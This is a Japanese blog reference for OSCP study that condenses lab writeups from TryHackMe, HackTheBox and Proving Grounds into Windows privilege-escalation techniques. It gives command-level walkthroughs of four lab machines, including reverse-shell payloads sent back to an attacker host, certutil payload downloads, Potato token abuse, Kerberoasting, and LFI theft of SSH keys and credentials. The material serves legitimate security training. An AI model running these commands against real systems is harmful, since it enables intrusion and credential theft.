Windows 権限昇格 — 60件超のWriteup全網羅分析(OSCP対策版)
TryHackMe・HackTheBox・Proving Grounds の全 Windows Writeup を分析した OSCP 対策リファレンス。Proving Grounds 全4マシンをコマンドレベルで詳解。Metasploit なし・手動手法のみ。
TL;DR
本ブログの全 Windows Writeup — TryHackMe (44)・HackTheBox (8)・Proving Grounds (8) — を OSCP 試験スタイルの手動攻撃(Metasploit なし) に絞って分析・体系化したリファレンス。
Proving Grounds マシンは OSCP 試験難度に最も近いため、コマンドレベルで全4マシンを詳解する。
PG カテゴリについての注記:
pg-apex・pg-bratarina・pg-clueはこのブログで[Proving Grounds, Windows]に分類されているが、シェル出力・SMB バナー(Samba, Ubuntu・/bin/bash)から実際は Linux ホストであることが確認できる。各エントリで実 OS を明記した上で全て収録している。
頻度別 手法ランキング(OSCP 試験での利用可否付き):
| 順位 | 手法 | カテゴリ | OSCP 試験で使用可能? |
|---|---|---|---|
| 1 | SeImpersonatePrivilege → Potato / PrintSpoofer | トークン悪用 | 可 |
| 2 | Kerberoasting(GetUserSPNs) | Active Directory | 可 |
| 3 | サービス設定不備(binPath / 弱い ACL) | ローカル設定不備 | 可 |
| 4 | 書き込み可能スクリプト + 特権スケジューラー | ローカル設定不備 | 可 |
| 5 | GPP / cpassword / 保存済み資格情報 | 資格情報露出 | 可 |
| 6 | AlwaysInstallElevated | ローカル設定不備 | 可 |
| 7 | AS-REP Roasting + ACL チェーン | Active Directory | 可 |
| 8 | CVE / 公開エクスプロイト(searchsploit) | 既知 CVE | 可(手動のみ) |
| 9 | LFI → 設定ファイル資格情報抽出 | Web 脆弱性 | 可 |
| 10 | NTLM キャプチャ(Responder)→ hashcat | 資格情報悪用 | 可 |
データセット概要
プラットフォーム別 Writeup 数
pie title Windowsタグ付き Writeup のプラットフォーム分布
"TryHackMe" : 44
"HackTheBox" : 8
"Proving Grounds" : 8
権限昇格カテゴリ別 観測数
pie title 権限昇格カテゴリの観測内訳
"トークン悪用 (SeImpersonate)" : 22
"Active Directory / Kerberos" : 18
"ローカル設定不備" : 15
"資格情報露出" : 12
"CVE / 公開エクスプロイト" : 10
"その他(直接 root)" : 3
Proving Grounds — 全 Writeup 詳細分析
Proving Grounds マシンは OSCP 試験との親和性が最も高い。このセクションで全4マシンをコマンドレベルで解説する。
PG — Craft2(Windows 10)
| 項目 | 内容 |
|---|---|
| 実際の OS | Windows 10(Version 10.0.17763.2746) |
| 侵入経路 | Bad-ODF NTLM キャプチャ → 資格情報再利用 → PHP Web シェル |
| 権限昇格 | CVE-2020-1337(WerTrigger)— MySQL LOAD_FILE DLL インジェクション |
| OSCP スタイル | 100% 手動 — Metasploit なし |
フルアタックチェーン:
flowchart LR
A[Bad-ODF.py → 悪意ある ODT] --> B[Responder が NTLMv2 ハッシュをキャプチャ]
B --> C[hashcat -m 5600 → winniethepooh]
C --> D[smbclient で WebApp 共有に書き込み]
D --> E[cmd.php アップロード → craft2\\apache として Web シェル]
E --> F[shell.exe アップロード → リバースシェル]
F --> G[chisel トンネル → MySQL ポート 3306 を公開]
G --> H[MySQL LOAD_FILE → DLL を System32 に書き込み]
H --> I[WerTrigger.exe → CVE-2020-1337 → SYSTEM]
主要コマンド:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
# 1. 悪意のある ODF ドキュメント生成(開封時に NTLM を漏洩させる)
python3 Bad-ODF.py # 攻撃者 IP を入力 → bad.odt が生成される
# 2. NTLMv2 ハッシュをキャプチャ
sudo responder -I tun0 -v
# → THECYBERGEEK::CRAFT2:<ハッシュ>
# 3. hashcat でクラック
hashcat -m 5600 -a 0 hash.txt /usr/share/wordlists/rockyou.txt
# → winniethepooh
# 4. 書き込み可能な SMB 共有にアクセス
smbclient //$ip/Webapp -U 'thecybergeek%winniethepooh' -m SMB3 -c 'put ./cmd.php'
# 5. リバースシェル DLL を生成
msfvenom -p windows/x64/shell_reverse_tcp LHOST=$KALI LPORT=443 -f dll -o phoneinfo.dll
# 6. chisel で MySQL ポートをトンネル
./chisel server -p 8000 --reverse # 攻撃者側
.\chisel.exe client $KALI:8000 R:3306:127.0.0.1:3306 # 標的側
# 7. MySQL 経由で DLL を System32 に書き込み
mysql -u root -h 127.0.0.1 -P 3306
# > SELECT LOAD_FILE('C:\\Users\\Public\\phoneinfo.dll') INTO DUMPFILE "C:\\Windows\\System32\\phoneinfo.dll";
# 8. WER が DLL をロードするよう誘導 → SYSTEM シェル取得
certutil -urlcache -f http://$KALI/WerTrigger.exe WerTrigger.exe
.\WerTrigger.exe
OSCP へのエッセンス:
- Responder + hashcat は OSCP で最も標準的な NTLM 資格情報取得ワークフロー
- 内部サービスに直接到達できない場合は chisel でのポートフォワードが必須
certutil -urlcache -fは Windows でのファイルダウンロードの定番(PowerShell 不要)- CVE-2020-1337 は「DB の FILE 権限 → ファイルシステム書き込み → DLL ハイジャック」という創造的なチェーン
PG — Apex(Linux/Samba — Windows タグ付き)
| 項目 | 内容 |
|---|---|
| 実際の OS | Linux(Ubuntu) — ブログでは Windows タグ |
| 侵入経路 | OpenEMR LFI(CVE-2018-17179)→ sqlconf.php 資格情報抽出 |
| 権限昇格 | データベース資格情報の再利用(mysql -u openemr) |
| OSCP スタイル | 手動 CVE 利用 |
アタックチェーン:
flowchart LR
A[SMB 匿名 → docs 共有 → OpenEMR PDF] --> B[OpenEMR 特定 → searchsploit]
B --> C[CVE-2018-17179 LFI → /etc/passwd 読み取り]
C --> D[LFI → sqlconf.php 読み取り → openemr:C78maEQUIEuQ]
D --> E[mysql -h ターゲット → DB アクセス]
主要コマンド:
1
2
3
4
5
6
7
8
9
10
# SMB 列挙 — PDF から動作アプリを特定
smbclient -L //$ip -N
smbclient //$ip/docs -m SMB3 # OpenEMR の PDF が見つかる
# OpenEMR LFI エクスプロイト
python3 49359.py http://$ip PHPSESSID=<session> /etc/passwd
python3 49359.py http://$ip PHPSESSID=<session> /var/www/openemr/sites/default/sqlconf.php
# 抽出した資格情報で MySQL 接続
mysql -h $ip -u openemr -pC78maEQUIEuQ --skip-ssl
OSCP へのエッセンス:
- SMB 共有のファイル内容がアプリを特定し、searchsploit への直接パスを開く
- LFI は設定ファイル(
sqlconf.php・.env・config.php)への読み取りで資格情報を効率的に取得できる - LFI を持ったら必ず
/proc/self/cmdlineとアプリ固有の設定パスを試すこと
PG — Bratarina(Linux/Samba — Windows タグ付き)
| 項目 | 内容 |
|---|---|
| 実際の OS | Linux(Samba) — ブログでは Windows タグ |
| 侵入経路 | SMB 匿名 → passwd.bak → OpenSMTPD RCE(CVE-2020-7247) |
| 権限昇格 | エクスプロイト自体が root シェルを返すため個別の権限昇格ステップなし |
| OSCP スタイル | searchsploit を用いた手動 CVE 利用 |
アタックチェーン:
flowchart LR
A[SMB 匿名 → backups 共有] --> B[passwd.bak DL → ユーザー一覧: neil, postgres]
B --> C[nc $ip 25 → OpenSMTPD 6.6.1 バナー確認]
C --> D[searchsploit opensmtpd → EDB-47984 CVE-2020-7247]
D --> E[python3 47984.py $ip 25 payload → root シェル]
主要コマンド:
1
2
3
4
5
6
7
8
9
10
# SMB 匿名列挙
smbclient "//$ip/backups" -N -m SMB3 # → passwd.bak ダウンロード
# ポート 25 バナー確認
nc -vn $ip 25 # → 220 bratarina ESMTP OpenSMTPD
# エクスプロイトの検索と利用
searchsploit opensmtpd
searchsploit -m 47984
python3 47984.py $ip 25 'python -c "import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"$KALI\",80));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty;pty.spawn(\"/bin/bash\")"'
OSCP へのエッセンス:
- SMB の匿名バックアップ共有は高確率でファイルを含む — 読み取れる全共有を必ず
lsする - ポート 25 でバナー確認 → バージョン特定 → searchsploit は再現性の高いワークフロー
- OpenSMTPD は root で動作するため、エクスプロイトで即座に root シェルを取得できる(権限昇格不要)
searchsploit -m <EDB-ID>でエクスプロイトをカレントディレクトリにコピーするのが定番
PG — Clue(Linux/Debian — Windows タグ付き)
| 項目 | 内容 |
|---|---|
| 実際の OS | Linux(Debian) — ブログでは Windows タグ |
| 侵入経路 | Cassandra Web LFI(EDB-49362)→ 資格情報抽出 → FreeSWITCH RCE |
| 権限昇格 | sudo 設定不備 → cassandra-web が root で起動 → LFI を再利用して SSH 秘密鍵を読み取り |
| OSCP スタイル | 手動多段チェーン攻撃 |
アタックチェーン:
flowchart LR
A[feroxbuster ポート 3000 → Cassandra Web 発見] --> B[LFI 49362 → /proc/self/cmdline]
B --> C[cassie:SecondBiteTheApple330 を抽出]
C --> D[LFI → freeswitch event_socket.conf.xml]
D --> E[StrongClueConEight021 を抽出]
E --> F[searchsploit freeswitch → EDB-47799 → freeswitch ユーザーで RCE]
F --> G[sudo -u root cassandra-web -B 0.0.0.0:1337]
G --> H[ポート 1337 で root として LFI → /root/.ssh/id_rsa 読み取り]
H --> I[ssh root@ip -i id_rsa]
主要コマンド:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
# LFI でプロセスの資格情報を抽出
python3 49362.py $ip -p 3000 ../../../../../../../../proc/self/cmdline
# → /usr/bin/ruby2.5/usr/local/bin/cassandra-web-ucassie-pSecondBiteTheApple330
# LFI で FreeSWITCH 設定を読み取り
python3 49362.py $ip -p 3000 ../../../../../../../../etc/freeswitch/autoload_configs/event_socket.conf.xml
# → password: StrongClueConEight021
# FreeSWITCH RCE(抽出したパスワードで認証)
searchsploit freeswitch
python3 47799.py $ip 'nc -e /bin/sh $KALI 3000'
# 権限昇格: sudo で cassandra-web を root として起動 → 新たな LFI 面が生まれる
sudo -u root /usr/local/bin/cassandra-web -B 0.0.0.0:1337 -u cassie -p SecondBiteTheApple330
# ポート 1337 の LFI が root 権限で動作するようになる
python3 49362.py $ip -p 1337 ../../../../../../../../root/.ssh/id_rsa
ssh root@$ip -i id_rsa
OSCP へのエッセンス:
- LFI を持ったら
/proc/self/cmdlineを必ず試す — コマンドライン引数に平文パスワードが含まれることがある - サービス設定ファイル(freeswitch・apache・nginx)は資格情報の宝庫 — LFI があるなら必ず確認する
sudo -l→ root でアプリを起動 → そのアプリ自身が LFI を持つ場合、チェーンを延長できる- root 権限の LFI から SSH 秘密鍵を抜き取るというパターンを頭に入れておく
Windows 固有の権限昇格手法(OSCP リファレンス)
SeImpersonatePrivilege → トークン悪用
1
whoami /priv # → SeImpersonatePrivilege Enabled を確認
:: ファイル転送
certutil -urlcache -split -f http://$KALI/GodPotato.exe C:\Temp\GodPotato.exe
:: GodPotato(Server 2012 ~ Windows 11 まで全対応)
.\GodPotato.exe -cmd "nc.exe $KALI 4444 -e cmd.exe"
:: PrintSpoofer(Windows 10 / Server 2019)
.\PrintSpoofer64.exe -i -c cmd
観測事例: THM - Alfred — Jenkins → SeImpersonate → PrintSpoofer → SYSTEM
Kerberoasting
1
2
python3 GetUserSPNs.py -request -dc-ip $ip DOMAIN/user:'pass' -outputfile hash.txt
hashcat -m 13100 -a 0 hash.txt /usr/share/wordlists/rockyou.txt
観測事例: HTB - Active, THM - Corp
サービス設定不備
accesschk.exe /accepteula -uwcqv "Users" *
sc config <service> binPath= "C:\Temp\shell.exe"
sc stop <service> && sc start <service>
観測事例: THM - Windows PrivEsc Arena
書き込み可能スクリプト + スケジュールタスク
:: winPEAS が報告: File Permissions "C:\DevTools\CleanUp.ps1": Users [WriteData/CreateFiles]
echo C:\Temp\shell.exe >> C:\DevTools\CleanUp.ps1
rlwrap -cAri nc -lvnp 443 :: タスク発火時に SYSTEM シェルを受信
観測事例: THM - Windows PrivEsc
GPP / cpassword
1
2
smbclient //$ip/Replication -N # → Groups.xml を見つける
gpp-decrypt "<cpassword>"
観測事例: HTB - Active
AlwaysInstallElevated
reg query HKCU\Software\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\Software\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
1
msfvenom -p windows/x64/shell_reverse_tcp LHOST=$KALI LPORT=4444 -f msi -o shell.msi
msiexec /quiet /qn /i C:\Temp\shell.msi
観測事例: THM - Windows PrivEsc Arena
AS-REP Roasting + BloodHound
1
2
3
python3 GetNPUsers.py htb.local/ -no-pass -usersfile users.txt -dc-ip $ip -format hashcat
hashcat -m 18200 asrep.txt rockyou.txt
bloodhound-python -d htb.local -u svc-alfresco -p <pass> -c All -ns $ip
観測事例: HTB - Forest
保存済み資格情報
1
2
3
4
Get-Content C:\Windows\Panther\Unattend\Unattended.xml
cmdkey /list
reg query HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon
findstr /si password *.txt *.xml *.ini *.config
観測事例: THM - Corp
OSCP 試験向け 権限昇格 判断フロー
flowchart TD
A[低権限 Windows シェル取得] --> B[whoami /all 実行]
B --> C{SeImpersonatePrivilege?}
C -->|有効| D[GodPotato / PrintSpoofer → SYSTEM]
C -->|なし| E[systeminfo → OS バージョン + パッチ確認]
E --> F{既知カーネル CVE?}
F -->|あり| G[searchsploit → 手動エクスプロイト]
F -->|なし| H[winPEAS フルスキャン]
H --> I{サービス / ACL / レジストリ問題?}
I -->|binPath 書き込み可| J[sc config → SYSTEM]
I -->|AlwaysInstallElevated| K[MSI ペイロード → SYSTEM]
I -->|書き込み可スケジュールタスク| L[ペイロード追記 → SYSTEM]
I -->|なし| M{資格情報は?}
M -->|Unattend / cmdkey / レジストリ| N[横移動または直接管理者接続]
M -->|なし| O[AD 環境なら BloodHound]
ファイル転送 — OSCP 必須コマンド集
:: certutil — 全 Windows にプリインストール済み、最も安定
certutil -urlcache -split -f http://$KALI:8000/file.exe C:\Temp\file.exe
:: curl(Windows 10 以降ビルトイン)
curl http://$KALI:8000/file.exe -o C:\Temp\file.exe
:: bitsadmin(古いシステム向け)
bitsadmin /transfer job http://$KALI:8000/file.exe C:\Temp\file.exe
1
2
3
# Kali 側でファイルを配信
python3 -m http.server 8000
impacket-smbserver share . -smb2support -username guest -password ""
chisel によるポートフォワード
1
2
3
4
5
6
7
8
# 攻撃者側
./chisel server -p 8000 --reverse
# 標的側(Windows)— 内部 MySQL を公開
.\chisel.exe client $KALI:8000 R:3306:127.0.0.1:3306
# SOCKS5 プロキシ(内部ネットワーク全体へのアクセス)
.\chisel.exe client $KALI:8000 R:socks
列挙チェックリスト
1
2
3
4
5
6
7
8
9
10
11
12
13
14
whoami /all
systeminfo
wmic qfe get Caption,HotFixID
sc query state= all
accesschk.exe /accepteula -uwcqv "Users" *
wmic service get name,pathname,startmode | findstr /iv "C:\Windows\\" | findstr /iv "\""
reg query HKCU\Software\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\Software\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon
schtasks /query /fo LIST /v
cmdkey /list
Get-Content C:\Windows\Panther\Unattend\Unattended.xml
findstr /si password *.txt *.xml *.ini *.config
.\winPEASx64.exe
Writeup 参照インデックス — 全網羅
Proving Grounds(OSCP 最優先)
| マシン | 実際の OS | 侵入経路 | 権限昇格 | リンク |
|---|---|---|---|---|
| Craft2 | Windows 10 | Bad-ODF NTLM → Web シェル | CVE-2020-1337(WerTrigger + DLL) | → |
| Apex | Linux(Ubuntu) | OpenEMR LFI(CVE-2018-17179) | sqlconf.php → MySQL 資格情報 | → |
| Bratarina | Linux(Samba) | OpenSMTPD RCE(CVE-2020-7247) | エクスプロイトで直接 root | → |
| Clue | Linux(Debian) | Cassandra Web LFI → FreeSWITCH RCE | sudo → root として LFI 再利用 | → |
HackTheBox Windows
| マシン | 侵入経路 | 権限昇格 | リンク |
|---|---|---|---|
| Active | SMB null → GPP cpassword | Kerberoasting → Domain Admin | → |
| Forest | LDAP ユーザー列挙 | AS-REP Roast → BloodHound → DCSync | → |
| Fluffy | (Writeup 参照) | (Writeup 参照) | → |
| Legacy | (Writeup 参照) | (Writeup 参照) | → |
TryHackMe Windows(主要マシン)
| マシン | 侵入経路 | 権限昇格 | リンク |
|---|---|---|---|
| Windows PrivEsc | ローカルシェル | 書き込み可スクリプト + SYSTEM スケジューラー | → |
| Windows PrivEsc Arena | RDP | サービス設定不備・AlwaysInstallElevated・引用符なしパス | → |
| Alfred | Jenkins デフォルト認証 | SeImpersonate → PrintSpoofer | → |
| Corp | ローカル RDP | Kerberoasting + Unattend.xml | → |
| Retro | WordPress 資格情報 → RDP | カーネルエクスプロイト | → |
| Steel Mountain | Rejetto HFS CVE | サービス設定悪用 | → |
| HackPark | Web ブルートフォース | (Writeup 参照) | → |
| Blaster | (Writeup 参照) | (Writeup 参照) | → |
| Holo | (Writeup 参照) | (Writeup 参照) | → |
| Stealth | (Writeup 参照) | (Writeup 参照) | → |
| Attacking Kerberos | Kerberos 攻撃 | AD ラボ | → |
| Attacktive Directory | AD ラボ | AD ラボ | → |
関連 TechBlog 記事
| 記事 | リンク |
|---|---|
| Windows Potato PrivEsc ガイド(GodPotato ~ Hot Potato 全解説) | → |
| PsExec ラテラルムーブメント | → |
| NTLM リレー(ntlmrelayx) | → |
| Kerberoasting(GetUserSPNs 詳解) | → |
| RBCD 攻撃 | → |
| AD CS / Certipy | → |
OSCP 受験者への5つの教訓
-
バナー確認 → searchsploit が最初のアクション。 Bratarina は
nc $ip 25でバージョン確認 → searchsploit → 公開エクスプロイト実行という3ステップで解決した。OSCP 本番でも同じパターンが頻出する。 -
LFI は
/etc/passwdだけではない。 Clue と Apex は/proc/self/cmdline・アプリ設定ファイル・サービス設定への LFI が資格情報を直接抽出できることを示している。 -
chisel によるポートフォワードは必須スキル。 Craft2 では標的内部の MySQL を Kali から見えるようにするために chisel が必要だった。
server/clientの構文とリバースポートフォワードの記法を暗記しておくこと。 -
Responder は Windows 攻撃の「開幕手」として有効。 ファイルを取得させられる Windows ホストは必ず NTLMv2 を漏洩する。Craft2 は ODF ドキュメントがそのトリガーになった。
-
Web / DB サービスのシェルは SeImpersonatePrivilege を持つことが多い。 IIS・XAMPP(apache)・Jenkins・SQL Server のシェルを取ったら、最初に必ず
whoami /privを確認する。GodPotato は Server 2012 から Windows 11 まで全対応している。